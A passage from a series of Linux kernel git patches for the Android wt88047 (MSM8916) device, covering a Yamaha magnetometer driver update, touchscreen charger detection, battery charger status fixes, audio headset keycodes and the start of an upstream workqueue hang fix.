*attr, char *buf) +{ + struct yas_state *st = i2c_get_clientdata(this_client); + int32_t xyz_raw[3]; + int ret; + mutex_lock(&st->lock); +#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS530 + ret = st->mag.ext(YAS530_SELF_TEST_NOISE, xyz_raw); +#endif +#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS532 \ + || YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS533 + ret = st->mag.ext(YAS532_SELF_TEST_NOISE, xyz_raw); +#endif +#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS537 + ret = st->mag.ext(YAS537_SELF_TEST_NOISE, xyz_raw); +#endif + mutex_unlock(&st->lock); + if (ret < 0) + return -EFAULT; + return sprintf(buf, "%d %d %d\n", xyz_raw[0], xyz_raw[1], xyz_raw[2]); +} + +#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS537 static ssize_t yas_mag_average_sample_show(struct device *dev, struct device_attribute *attr, char *buf) { @@ -359,7 +427,7 @@ static ssize_t yas_mag_average_sample_show(struct device *dev, mutex_unlock(&st->lock); if (ret < 0) return -EFAULT; - return snprintf(buf, PAGE_SIZE, "%d\n", mag_average_sample); + return sprintf(buf, "%d\n", mag_average_sample); } static ssize_t yas_mag_average_sample_store(struct device *dev, @@ -378,53 +446,64 @@ static ssize_t yas_mag_average_sample_store(struct device *dev, return -EFAULT; return count; } -#endif -static ssize_t yas_data_show(struct device *dev, struct device_attribute *attr, - char *buf) +static ssize_t yas_ouflow_thresh_show(struct device *dev, + struct device_attribute *attr, char *buf) { struct yas_state *st = i2c_get_clientdata(this_client); - int32_t last[3], i; + int16_t thresh[6]; + int ret; mutex_lock(&st->lock); - for (i = 0; i < 3; i++) - last[i] = st->compass_data[i]; + ret = st->mag.ext(YAS537_GET_OUFLOW_THRESH, thresh); mutex_unlock(&st->lock); - return snprintf(buf, PAGE_SIZE, "%d %d %d\n", - last[0], last[1], last[2]); + if (ret < 0) + return -EFAULT; + return sprintf(buf, "%d %d %d %d %d %d\n", thresh[0], thresh[1], + thresh[2], thresh[3], thresh[4], thresh[5]); +} +#endif + +static ssize_t loadCalLibs_show(struct device *dev, struct device_attribute *attr, + char *buf) +{ + char *yas_buf = "yas537-ori"; + return snprintf(buf, 20, "%s", + yas_buf); } +static DEVICE_ATTR(loadCalLibs, S_IRUGO | S_IWUSR, loadCalLibs_show, NULL); -static DEVICE_ATTR(data, S_IRUGO, yas_data_show, NULL); -static DEVICE_ATTR(position, S_IRUGO|S_IWUSR, yas_position_show, +static DEVICE_ATTR(position, S_IRUSR|S_IWUSR, yas_position_show, yas_position_store); -#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS532 \ - || YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS533 -static DEVICE_ATTR(hard_offset, S_IRUGO|S_IWUSR, yas_hard_offset_show, +#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS530 \ + || YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS532 \ + || YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS533 +static DEVICE_ATTR(hard_offset, S_IRUSR|S_IWUSR, yas_hard_offset_show, yas_hard_offset_store); #endif -#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS532 \ - || YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS533 \ -|| YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS537 - +#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS537 +static DEVICE_ATTR(hard_offset, S_IRUSR, yas_hard_offset_show, NULL); #endif +static DEVICE_ATTR(static_matrix, S_IRUSR|S_IWUSR, + yas_static_matrix_show, yas_static_matrix_store); +static DEVICE_ATTR(yas_self_test, S_IRUGO | S_IWUSR, yas_self_test_show, NULL); +static DEVICE_ATTR(self_noise, S_IRUSR, yas_self_test_noise_show, NULL); #if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS537 -static DEVICE_ATTR(hard_offset, S_IRUGO|S_IWUSR, yas_hard_offset_show, NULL); -static DEVICE_ATTR(mag_average_sample, S_IRUGO|S_IWUSR, +static DEVICE_ATTR(mag_average_sample, S_IRUSR|S_IWUSR, yas_mag_average_sample_show, yas_mag_average_sample_store); +static DEVICE_ATTR(ouflow_thresh, S_IRUSR, yas_ouflow_thresh_show, NULL); #endif static struct attribute *yas_attributes[] = { - - &dev_attr_data.attr, + &dev_attr_loadCalLibs.attr, &dev_attr_position.attr, -#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS532 \ - || YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS533 \ - || YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS537 &dev_attr_hard_offset.attr, - -#endif + &dev_attr_static_matrix.attr, + &dev_attr_yas_self_test.attr, + &dev_attr_self_noise.attr, #if YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS537 &dev_attr_mag_average_sample.attr, + &dev_attr_ouflow_thresh.attr, #endif NULL }; @@ -436,16 +515,13 @@ static void yas_work_func(struct work_struct *work) { struct yas_state *st = container_of((struct delayed_work *)work, - struct yas_state, work); + struct yas_state, work); struct yas_data mag[1]; int32_t poll_delay; uint32_t time_before, time_after; int ret, i; ktime_t timestamp; - if(atomic_read(&st->enable) == 0) - return; - timestamp = ktime_get_boottime(); time_before = yas_current_time(); mutex_lock(&st->lock); @@ -476,40 +552,60 @@ static void yas_work_func(struct work_struct *work) schedule_delayed_work(&st->work, msecs_to_jiffies(poll_delay)); } +static int yas_enable_set(struct sensors_classdev *sensors_cdev, + unsigned int enable) +{ + struct yas_state *st = i2c_get_clientdata(this_client); + if (enable) + yas_enable(st); + else + yas_disable(st); + return 0; +} + +static int yas_poll_delay_set(struct sensors_classdev *sensors_cdev, + unsigned int delay_ms) +{ + struct yas_state *st = i2c_get_clientdata(this_client); + if (delay_ms <= 0) + delay_ms = 10; + mutex_lock(&st->lock); + if (st->mag.set_delay(delay_ms) == YAS_NO_ERROR) + st->poll_delay = delay_ms; + mutex_unlock(&st->lock); + return 0; +} + /*****************regulator configuration start**************/ static int sensor_regulator_configure(struct yas_state *data, bool on) { int rc; - if (!on) { - if (regulator_count_voltages(data->vdd) > 0) regulator_set_voltage(data->vdd, 0, - YAS533_VDD_MAX_UV); - + YAS537_VDD_MAX_UV); regulator_put(data->vdd); if (regulator_count_voltages(data->vio) > 0) regulator_set_voltage(data->vio, 0, - YAS533_VIO_MAX_UV); - + YAS537_VIO_MAX_UV); regulator_put(data->vio); } else { data->vdd = regulator_get(&data->client->dev, "vdd"); if (IS_ERR(data->vdd)) { rc = PTR_ERR(data->vdd); dev_err(&data->client->dev, - "Regulator get failed vdd rc=%d\n", rc); + "Regulator get failed vdd rc=%d\n", rc); return rc; } if (regulator_count_voltages(data->vdd) > 0) { rc = regulator_set_voltage(data->vdd, - YAS533_VDD_MIN_UV, YAS533_VDD_MAX_UV); + YAS537_VDD_MIN_UV, YAS537_VDD_MAX_UV); if (rc) { dev_err(&data->client->dev, - "Regulator set failed vdd rc=%d\n", - rc); + "Regulator set failed vdd rc=%d\n", + rc); goto reg_vdd_put; } } @@ -518,16 +614,16 @@ static int sensor_regulator_configure(struct yas_state *data, bool on) if (IS_ERR(data->vio)) { rc = PTR_ERR(data->vio); dev_err(&data->client->dev, - "Regulator get failed vio rc=%d\n", rc); + "Regulator get failed vio rc=%d\n", rc); goto reg_vdd_set; } if (regulator_count_voltages(data->vio) > 0) { rc = regulator_set_voltage(data->vio, - YAS533_VIO_MIN_UV, YAS533_VIO_MAX_UV); + YAS537_VIO_MIN_UV, YAS537_VIO_MAX_UV); if (rc) { dev_err(&data->client->dev, - "Regulator set failed vio rc=%d\n", rc); + "Regulator set failed vio rc=%d\n", rc); goto reg_vio_put; } } @@ -539,7 +635,7 @@ static int sensor_regulator_configure(struct yas_state *data, bool on) reg_vdd_set: if (regulator_count_voltages(data->vdd) > 0) - regulator_set_voltage(data->vdd, 0, YAS533_VDD_MAX_UV); + regulator_set_voltage(data->vdd, 0, YAS537_VDD_MAX_UV); reg_vdd_put: regulator_put(data->vdd); return rc; @@ -553,14 +649,14 @@ static int sensor_regulator_power_on(struct yas_state *data, bool on) rc = regulator_disable(data->vdd); if (rc) { dev_err(&data->client->dev, - "Regulator vdd disable failed rc=%d\n", rc); + "Regulator vdd disable failed rc=%d\n", rc); return rc; } rc = regulator_disable(data->vio); if (rc) { dev_err(&data->client->dev, - "Regulator vio disable failed rc=%d\n", rc); + "Regulator vio disable failed rc=%d\n", rc); rc = regulator_enable(data->vdd); dev_err(&data->client->dev, "Regulator vio re-enabled rc=%d\n", rc); @@ -578,14 +674,14 @@ static int sensor_regulator_power_on(struct yas_state *data, bool on) rc = regulator_enable(data->vdd); if (rc) { dev_err(&data->client->dev, - "Regulator vdd enable failed rc=%d\n", rc); + "Regulator vdd enable failed rc=%d\n", rc); return rc; } rc = regulator_enable(data->vio); if (rc) { dev_err(&data->client->dev, - "Regulator vio enable failed rc=%d\n", rc); + "Regulator vio enable failed rc=%d\n", rc); regulator_disable(data->vdd); return rc; } @@ -594,7 +690,7 @@ static int sensor_regulator_power_on(struct yas_state *data, bool on) enable_delay: msleep(130); dev_dbg(&data->client->dev, - "Sensor regulator power on =%d\n", on); + "Sensor regulator power on =%d\n", on); return rc; } @@ -653,48 +749,76 @@ static void sensor_platform_hw_exit(void) } static int sensor_parse_dt(struct device *dev, - struct yas533_platform_data *pdata) + struct yas537_platform_data *pdata) { - int rc; - u32 temp_val; - - struct device_node *np = dev->of_node; - - rc = of_property_read_u32(np, "yamaha,dir", &temp_val); - if (rc && (rc != -EINVAL)) { - dev_err(dev, "Unable to read yamaha dir\n"); - return rc; - } else { - pdata->dir = (u8)temp_val; - } - pdata->init = sensor_platform_hw_init; pdata->exit = sensor_platform_hw_exit; pdata->power_on = sensor_platform_hw_power_on; + return 0; +} +static int yas_i2c_rxdata( + struct i2c_client *i2c, + uint8_t *rxData, + int length) +{ + int ret; + struct i2c_msg msgs[] = { + { + .addr = i2c->addr, + .flags = 0, + .len = 1, + .buf = rxData, + }, + { + .addr = i2c->addr, + .flags = I2C_M_RD, + .len = length, + .buf = rxData, + }, + }; + uint8_t addr = rxData[0]; + + ret = i2c_transfer(i2c->adapter, msgs, ARRAY_SIZE(msgs)); + if (ret < 0) { + dev_err(&i2c->dev, "%s: transfer failed.", __func__); + return ret; + } else if (ret != ARRAY_SIZE(msgs)) { + dev_err(&i2c->dev, "%s: transfer failed(size error).\n", + __func__); + return -ENXIO; + } + dev_vdbg(&i2c->dev, "RxData: len=%02x, addr=%02x, data=%02x", + length, addr, rxData[0]); return 0; } -/******************regulator ends***********************/ +/******************regulator ends***********************/ static int yas_probe(struct i2c_client *i2c, const struct i2c_device_id *id) { struct yas_state *st = NULL; struct input_dev *input_dev = NULL; int ret, i; - struct yas533_platform_data *pdata; - - printk("%s start.", __func__); + uint8_t sense_conf[2]; + struct yas537_platform_data *pdata; + + if (!i2c_check_functionality(i2c->adapter, I2C_FUNC_I2C)) { + dev_err(&i2c->dev, + "%s: check_functionality failed.", __func__); + ret = -ENODEV; + return ret; + } this_client = i2c; input_dev = input_allocate_device(); if (input_dev == NULL) { ret = -ENOMEM; - goto error_ret; + goto error_free; } if (i2c->dev.of_node) { pdata = devm_kzalloc(&i2c->dev, - sizeof(struct yas533_platform_data), + sizeof(struct yas537_platform_data), GFP_KERNEL); if (!pdata) { dev_err(&i2c->dev, "Failed to allocate memory\n"); @@ -705,7 +829,7 @@ static int yas_probe(struct i2c_client *i2c, const struct i2c_device_id *id) ret = sensor_parse_dt(&i2c->dev, pdata); if (ret) { dev_err(&i2c->dev, - "%s: sensor_parse_dt() err\n", __func__); + "%s: sensor_parse_dt() err\n", __func__); return ret; } } else { @@ -716,6 +840,13 @@ static int yas_probe(struct i2c_client *i2c, const struct i2c_device_id *id) } } + ret = yas_i2c_rxdata(this_client, sense_conf, 2); + if (ret < 0) { + printk("yas537 i2c error\n"); + + return ret; + } + st = kzalloc(sizeof(struct yas_state), GFP_KERNEL); if (st == NULL) { ret = -ENOMEM; @@ -729,24 +860,7 @@ static int yas_probe(struct i2c_client *i2c, const struct i2c_device_id *id) i2c_set_clientdata(i2c, st); if (pdata->init) - { - ret = pdata->init(); - if(ret) - { - dev_err(&i2c->dev,"pdata->init failed.\n"); - goto exit_kfree; - } - } - - if (pdata->power_on) - { - ret = pdata->power_on(true); - if(ret) - { - dev_err(&i2c->dev,"pdata->power_on failed.\n"); - goto exit_pdata_power_on; - } - } + pdata->init(); input_dev->name = YAS_MSM_NAME; input_dev->dev.parent = &i2c->dev; @@ -768,7 +882,6 @@ static int yas_probe(struct i2c_client *i2c, const struct i2c_device_id *id) st->mag.callback.current_time = yas_current_time; INIT_DELAYED_WORK(&st->work, yas_work_func); mutex_init(&st->lock); - for (i = 0; i < 3; i++) st->compass_data[i] = 0; @@ -779,7 +892,6 @@ static int yas_probe(struct i2c_client *i2c, const struct i2c_device_id *id) st->cdev = sensors_cdev; st->cdev.sensors_enable = yas_enable_set; st->cdev.sensors_poll_delay = yas_poll_delay_set; - st->cdev.sensors_self_test = yas_self_test; ret = sensors_classdev_register(&st->input_dev->dev, &st->cdev); if (ret) { @@ -802,35 +914,22 @@ static int yas_probe(struct i2c_client *i2c, const struct i2c_device_id *id) ret = -EFAULT; goto error_remove_sysfs; } - ret = st->mag.set_position(pdata->dir); - if (ret < 0) { - ret = -EFAULT; - goto error_remove_sysfs; - } - - if (pdata->power_on) - pdata->power_on(false); - - printk("%s ok.", __func__); - + dev_info(&i2c->dev, " yas537 successfully probed."); + /* hardwareinfo_set_prop(HARDWARE_MAGNETOMETER, "yas537"); */ return 0; error_remove_sysfs: sysfs_remove_group(&st->dev->kobj, &yas_attribute_group); error_unregister_device: - sensors_classdev_unregister(&st->cdev); + device_unregister(st->dev); error_classdev_unregister: - input_unregister_device(input_dev); + sensors_classdev_unregister(&st->cdev); error_free_device: - if (pdata->power_on) - pdata->power_on(false); -exit_pdata_power_on: - if (pdata->exit) - pdata->exit(); -exit_kfree: + input_free_device(input_dev); +error_free: kfree(st); error_ret: - //i2c_set_clientdata(i2c, NULL); + i2c_set_clientdata(i2c, NULL); this_client = NULL; return ret; } @@ -856,7 +955,7 @@ static int yas_remove(struct i2c_client *i2c) #ifdef CONFIG_PM_SLEEP static int yas_suspend(struct device *dev) { - struct yas533_platform_data *pdata; + struct yas537_platform_data *pdata; pdata = pdev_data->platform_data; if (atomic_read(&pdev_data->enable)) { cancel_delayed_work_sync(&pdev_data->work); @@ -865,13 +964,12 @@ static int yas_suspend(struct device *dev) if (pdata->power_on) pdata->power_on(false); - return 0; } static int yas_resume(struct device *dev) { - struct yas533_platform_data *pdata; + struct yas537_platform_data *pdata; pdata = pdev_data->platform_data; if (atomic_read(&pdev_data->enable)) { pdev_data->mag.set_enable(1); @@ -880,7 +978,6 @@ static int yas_resume(struct device *dev) if (pdata->power_on) pdata->power_on(true); - return 0; } @@ -898,21 +995,20 @@ MODULE_DEVICE_TABLE(i2c, yas_id); static struct of_device_id yas_match_table[] = { - { .compatible = "yamaha,yas533", }, { .compatible = "yamaha,yas537", }, { }, }; static struct i2c_driver yas_driver = { .driver = { - .name = YAS_MSM_NAME, - .owner = THIS_MODULE, - .pm = YAS_PM_OPS, + .name = YAS_MSM_NAME, + .owner = THIS_MODULE, + .pm = YAS_PM_OPS, .of_match_table = yas_match_table, }, - .probe = yas_probe, - .remove = yas_remove, - .id_table = yas_id, + .probe = yas_probe, + .remove = yas_remove, + .id_table = yas_id, }; static int __init yas_driver_init(void) { @@ -929,4 +1025,4 @@ module_exit(yas_driver_exit); MODULE_DESCRIPTION("Yamaha Magnetometer I2C driver"); MODULE_LICENSE("GPL v2"); -MODULE_VERSION("1.6.2.1020d"); +MODULE_VERSION("1.6.5.1022"); From 25d12669b4ebaf3213397c9f992ba158e97dc0a2 Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Wed, 9 Mar 2016 19:11:51 +0700 Subject: [PATCH 085/365] input: ft5x06_ts: Update register based on charger state * In attempt to fix non responsive touch in charging mode Change-Id: Idf9abe0b8dd057844dedbb96dde9372b2b3df9d9 --- drivers/input/touchscreen/ft5x06_ts.c | 44 +++++++++++++++++++++++++++ drivers/power/power_supply_core.c | 22 ++++++++++++++ 2 files changed, 66 insertions(+) diff --git a/drivers/input/touchscreen/ft5x06_ts.c b/drivers/input/touchscreen/ft5x06_ts.c index 81e4228f6cbb8..399fe902152f9 100644 --- a/drivers/input/touchscreen/ft5x06_ts.c +++ b/drivers/input/touchscreen/ft5x06_ts.c @@ -31,6 +31,7 @@ #include #include #include +#include #if defined(CONFIG_FB) #include @@ -238,6 +239,17 @@ enum { #define FT_DEBUG_DIR_NAME "ts_debug" +#ifdef CONFIG_MACH_WT88047 +#define CTP_CHARGER_DETECT 1 +#endif + +#if CTP_CHARGER_DETECT +extern int power_supply_get_battery_charge_state(struct power_supply *psy); +struct power_supply *batt_psy; +static u8 is_charger_plug; +static u8 pre_charger_status; +#endif + struct ft5x06_ts_data { struct i2c_client *client; struct input_dev *input_dev; @@ -698,6 +710,21 @@ static irqreturn_t ft5x06_ts_interrupt(int irq, void *dev_id) return IRQ_HANDLED; } +#if CTP_CHARGER_DETECT + if (!batt_psy) { + pr_err("%s: tp interrupt battery supply not found\n", __func__); + batt_psy = power_supply_get_by_name("usb"); + } else { + is_charger_plug = (u8)power_supply_get_battery_charge_state(batt_psy); + pr_debug("%s: 1 is_charger_plug %d, prev %d", __func__, is_charger_plug, pre_charger_status); + if (is_charger_plug != pre_charger_status) { + pre_charger_status = is_charger_plug; + ft5x0x_write_reg(data->client, 0x8B, is_charger_plug); + pr_debug("%s: 2 is_charger_plug %d, prev %d", __func__, is_charger_plug, pre_charger_status); + } + } +#endif + ip_dev = data->input_dev; buf = data->tch_data; @@ -1063,6 +1090,17 @@ static int ft5x06_ts_start(struct device *dev) msleep(data->pdata->soft_rst_dly); enable_irq(data->client->irq); +#if CTP_CHARGER_DETECT + batt_psy = power_supply_get_by_name("usb"); + if (!batt_psy) { + pr_err("%s: tp resume battery supply not found\n", __func__); + } else { + is_charger_plug = (u8)power_supply_get_battery_charge_state(batt_psy); + pr_debug("%s: is_charger_plug %d, prev %d", __func__, is_charger_plug, pre_charger_status); + ft5x0x_write_reg(data->client, 0x8B, is_charger_plug); + } + pre_charger_status = is_charger_plug; +#endif data->suspended = false; return 0; @@ -2466,6 +2504,12 @@ static int ft5x06_ts_probe(struct i2c_client *client, register_early_suspend(&data->early_suspend); #endif +#if CTP_CHARGER_DETECT + batt_psy = power_supply_get_by_name("usb"); + if (!batt_psy) + pr_err("%s: tp battery supply not found\n", __func__); +#endif + return 0; free_debug_dir: diff --git a/drivers/power/power_supply_core.c b/drivers/power/power_supply_core.c index 985ee9330b245..9e794783fbadc 100644 --- a/drivers/power/power_supply_core.c +++ b/drivers/power/power_supply_core.c @@ -18,6 +18,7 @@ #include #include #include +#include #include "power_supply.h" /* exported for the APM Power driver, APM emulation */ @@ -266,6 +267,24 @@ int power_supply_set_low_power_state(struct power_supply *psy, int value) } EXPORT_SYMBOL(power_supply_set_low_power_state); +#ifdef CONFIG_MACH_WT88047 +int power_supply_get_battery_charge_state(struct power_supply *psy) +{ + union power_supply_propval ret = {0,}; + + if (!psy) { + pr_err("%s: power supply is NULL\n", __func__); + return 0; + } + + psy->get_property(psy, POWER_SUPPLY_PROP_ONLINE, &ret); + pr_debug("%s: online: %d\n", __func__, ret.intval); + + return ret.intval; +} +EXPORT_SYMBOL(power_supply_get_battery_charge_state); +#endif + static int __power_supply_changed_work(struct device *dev, void *data) { struct power_supply *psy = (struct power_supply *)data; @@ -298,6 +317,9 @@ static void power_supply_changed_work(struct work_struct *work) power_supply_update_leds(psy); kobject_uevent(&psy->dev->kobj, KOBJ_CHANGE); +#ifdef CONFIG_MACH_WT88047 + msleep(100); +#endif spin_lock_irqsave(&psy->changed_lock, flags); } if (!psy->changed) From f2d820a30ee20a88e3db7ada4ebac1502ca0ba87 Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Thu, 10 Mar 2016 21:39:04 +0700 Subject: [PATCH 086/365] ARM: dts: wt88047: Restore modem and pheripheral region * In attempt to fix modem reset issue on specific variant * Freeing a bit of RAM for userspace Change-Id: I660e2ae454127af078551cbefc12bc0c4f3dc50a --- arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi b/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi index 31d0679434ae4..23f42679312cb 100644 --- a/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi +++ b/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi @@ -34,6 +34,14 @@ /* status = "disabled"; */ }; + modem_adsp_region@0 { + reg = <0x0 0x86800000 0x0 0x05400000>; + }; + + pheripheral_region@0 { + reg = <0x0 0x8bc00000 0x0 0x0600000>; + }; + secure_region@0 { /* status = "disabled"; */ }; From 74359ed75e3384eb2107a4ef315b781a602244de Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Sat, 12 Mar 2016 20:31:19 +0700 Subject: [PATCH 087/365] smb1360-charger: Battery full status only if USB online * Immediately switch to discharging status when charger disconnected tell battery service framework to update battery light. Change-Id: I47750eac86012e249b5954336492fb414d129127 --- drivers/power/smb1360-charger-fg-wt88047.c | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/drivers/power/smb1360-charger-fg-wt88047.c b/drivers/power/smb1360-charger-fg-wt88047.c index 9507b9cc4ff61..de422a0c737dd 100644 --- a/drivers/power/smb1360-charger-fg-wt88047.c +++ b/drivers/power/smb1360-charger-fg-wt88047.c @@ -882,8 +882,14 @@ static int smb1360_get_prop_batt_status(struct smb1360_chip *chip) { int rc; u8 reg = 0, chg_type; + union power_supply_propval prop = {0,}; + + rc = chip->usb_psy->get_property(chip->usb_psy, + POWER_SUPPLY_PROP_ONLINE, &prop); + if (rc < 0) + pr_err("Couldn't not read USB ONLINE property, rc=%d\n", rc); - if (chip->batt_full) + if (chip->batt_full && prop.intval) return POWER_SUPPLY_STATUS_FULL; rc = smb1360_read(chip, STATUS_3_REG, ®); From 0028e337702b01a743ecdab9587ebcc3cda4e1be Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Sat, 12 Mar 2016 20:45:37 +0700 Subject: [PATCH 088/365] power_supply_core: Fix potential bug Change-Id: Ib890c05a32d1bac20a155eb9a3937ffbfdd803f5 --- drivers/power/power_supply_core.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/drivers/power/power_supply_core.c b/drivers/power/power_supply_core.c index 9e794783fbadc..0c417833a00ea 100644 --- a/drivers/power/power_supply_core.c +++ b/drivers/power/power_supply_core.c @@ -277,7 +277,9 @@ int power_supply_get_battery_charge_state(struct power_supply *psy) return 0; } - psy->get_property(psy, POWER_SUPPLY_PROP_ONLINE, &ret); + if (psy->get_property) + psy->get_property(psy, POWER_SUPPLY_PROP_ONLINE, &ret); + pr_debug("%s: online: %d\n", __func__, ret.intval); return ret.intval; From 61cddb5ddea2b0e2483fb880d6338d43ab98f2d7 Mon Sep 17 00:00:00 2001 From: Yandong Yang Date: Wed, 1 Jul 2015 10:36:16 +0800 Subject: [PATCH 089/365] ASoc: wcd: mbhc: Add key code assignment function Add key code assignment function in mbhc driver. Need to assign keycode from machine driver if required. CRs-Fixed: 847625 Change-Id: Ifcc433532c9b99132c7627205d6a9af4e144a30b Signed-off-by: Walter Yang --- sound/soc/codecs/wcd9xxx-mbhc.c | 62 +++++++++++++++++++++++++++++++++ sound/soc/codecs/wcd9xxx-mbhc.h | 4 ++- 2 files changed, 65 insertions(+), 1 deletion(-) diff --git a/sound/soc/codecs/wcd9xxx-mbhc.c b/sound/soc/codecs/wcd9xxx-mbhc.c index 3f64d3d60fa51..407b0e2515e99 100644 --- a/sound/soc/codecs/wcd9xxx-mbhc.c +++ b/sound/soc/codecs/wcd9xxx-mbhc.c @@ -4503,6 +4503,64 @@ static void wcd9xxx_cleanup_debugfs(struct wcd9xxx_mbhc *mbhc) } #endif +int wcd9xxx_mbhc_set_keycode(struct wcd9xxx_mbhc *mbhc) +{ + enum snd_jack_types type; + int i, ret, result = 0; + int *btn_key_code; + + btn_key_code = mbhc->mbhc_cfg->key_code; + + for (i = 0 ; i < 8 ; i++) { + if (btn_key_code[i] != 0) { + switch (i) { + case 0: + type = SND_JACK_BTN_0; + break; + case 1: + type = SND_JACK_BTN_1; + break; + case 2: + type = SND_JACK_BTN_2; + break; + case 3: + type = SND_JACK_BTN_3; + break; + case 4: + type = SND_JACK_BTN_4; + break; + case 5: + type = SND_JACK_BTN_5; + break; + case 6: + type = SND_JACK_BTN_6; + break; + case 7: + type = SND_JACK_BTN_7; + break; + default: + WARN_ONCE(1, "Wrong button number:%d\n", i); + result = -1; + break; + } + ret = snd_jack_set_key(mbhc->button_jack.jack, + type, + btn_key_code[i]); + if (ret) { + pr_err("%s: Failed to set code for %d\n", + __func__, btn_key_code[i]); + result = -1; + } + input_set_capability( + mbhc->button_jack.jack->input_dev, + EV_KEY, btn_key_code[i]); + pr_debug("%s: set btn%d key code:%d\n", __func__, + i, btn_key_code[i]); + } + } + return result; +} + int wcd9xxx_mbhc_start(struct wcd9xxx_mbhc *mbhc, struct wcd9xxx_mbhc_config *mbhc_cfg) { @@ -4526,6 +4584,10 @@ int wcd9xxx_mbhc_start(struct wcd9xxx_mbhc *mbhc, /* Save mbhc config */ mbhc->mbhc_cfg = mbhc_cfg; + /* Set btn key code */ + if (wcd9xxx_mbhc_set_keycode(mbhc)) + pr_err("Set btn key code error!!!\n"); + /* Get HW specific mbhc registers' address */ wcd9xxx_get_mbhc_micbias_regs(mbhc, MBHC_PRIMARY_MIC_MB); diff --git a/sound/soc/codecs/wcd9xxx-mbhc.h b/sound/soc/codecs/wcd9xxx-mbhc.h index a2a73427806ad..31707172934f6 100644 --- a/sound/soc/codecs/wcd9xxx-mbhc.h +++ b/sound/soc/codecs/wcd9xxx-mbhc.h @@ -1,4 +1,4 @@ -/* Copyright (c) 2012-2014, The Linux Foundation. All rights reserved. +/* Copyright (c) 2012-2015, The Linux Foundation. All rights reserved. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 and @@ -275,6 +275,7 @@ struct wcd9xxx_mbhc_config { bool use_vddio_meas; bool enable_anc_mic_detect; enum hw_jack_type hw_jack_type; + int key_code[8]; }; struct wcd9xxx_cfilt_mode { @@ -471,6 +472,7 @@ struct wcd9xxx_mbhc { (cfg_ptr->_n_rload * \ (sizeof(cfg_ptr->_rload[0]) + sizeof(cfg_ptr->_alpha[0])))) +int wcd9xxx_mbhc_set_keycode(struct wcd9xxx_mbhc *mbhc); int wcd9xxx_mbhc_start(struct wcd9xxx_mbhc *mbhc, struct wcd9xxx_mbhc_config *mbhc_cfg); void wcd9xxx_mbhc_stop(struct wcd9xxx_mbhc *mbhc); From dbf4b3f89f5f6229db278e8e975512feb816c139 Mon Sep 17 00:00:00 2001 From: Tejun Heo Date: Thu, 5 Mar 2015 08:04:13 -0500 Subject: [PATCH 090/365] workqueue: fix hang involving racing cancel[_delayed]_work_sync()'s for PREEMPT_NONE commit 8603e1b30027f943cc9c1eef2b291d42c3347af1 upstream. cancel[_delayed]_work_sync() are implemented using __cancel_work_timer() which grabs the PENDING bit using try_to_grab_pending() and then flushes the work item with PENDING set to prevent the on-going execution of the work item from requeueing itself. try_to_grab_pending() can always grab PENDING bit without blocking except when someone else is doing the above flushing during cancelation. In that case, try_to_grab_pending() returns -ENOENT. In this case, __cancel_work_timer() currently invokes flush_work(). The assumption is that the completion of the work item is what the other canceling task would be waiting for too and thus waiting for the same condition and retrying should allow forward progress without excessive busy looping Unfortunately, this doesn't work if preemption is disabled or the latter task has real time priority. Let's say task A just got woken up from flush_work() by the completion of the target work item. If, before task A starts executing, task B gets scheduled and invokes __cancel_work_timer() on the same work item, its try_to_grab_pending() will return -ENOENT as the work item is still being canceled by task A and flush_work() will also immediately return false as the work item is no longer executing. This puts task B in a busy loop possibly preventing task A from executing and clearing the canceling state on the work item leading to a hang. task A task B worker executing work __cancel_work_timer() try_to_grab_pending() set work CANCELING flush_work() block for work completion completion, wakes up A __cancel_work_timer() while (forever) { try_to_grab_pending() -ENOENT as work is being canceled flush_work() false as work is no longer executing } This patch removes the possible hang by updating __cancel_work_timer() to explicitly wait for clearing of CANCELING rather than invoking flush_work() after try_to_grab_pending() fails with -ENOENT. Link: http://lkml.kernel.org/g/20150206171156.GA8942@axis.com v3: bit_waitqueue() can't be used for work items defined in vmalloc area. Switched to custom wake function which matches the target work item and exclusive wait and wakeup. v2: v1 used wake_up() on bit_waitqueue() which leads to NULL deref if the target bit waitqueue has wait_bit_queue's on it. Use DEFINE_WAIT_BIT() and __wake_up_bit() instead. Reported by Tomeu Vizoso. Change-Id: Iee8ad522c2651cc36e0bd90a01f0d27929171cb1 Signed-off-by: Tejun Heo Reported-by: Rabin Vincent Cc: Tomeu Vizoso Tested-by: Jesper Nilsson Tested-by: Rabin Vincent Signed-off-by: Greg Kroah-Hartman Git-commit: 8603e1b30027f943cc9c1eef2b291d42c3347af1 Git-repo: git://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git Signed-off-by: Pavankumar Kondeti --- include/linux/workqueue.h | 3 ++- kernel/workqueue.c | 56 ++++++++++++++++++++++++++++++++++++--- 2 files changed, 54 insertions(+), 5 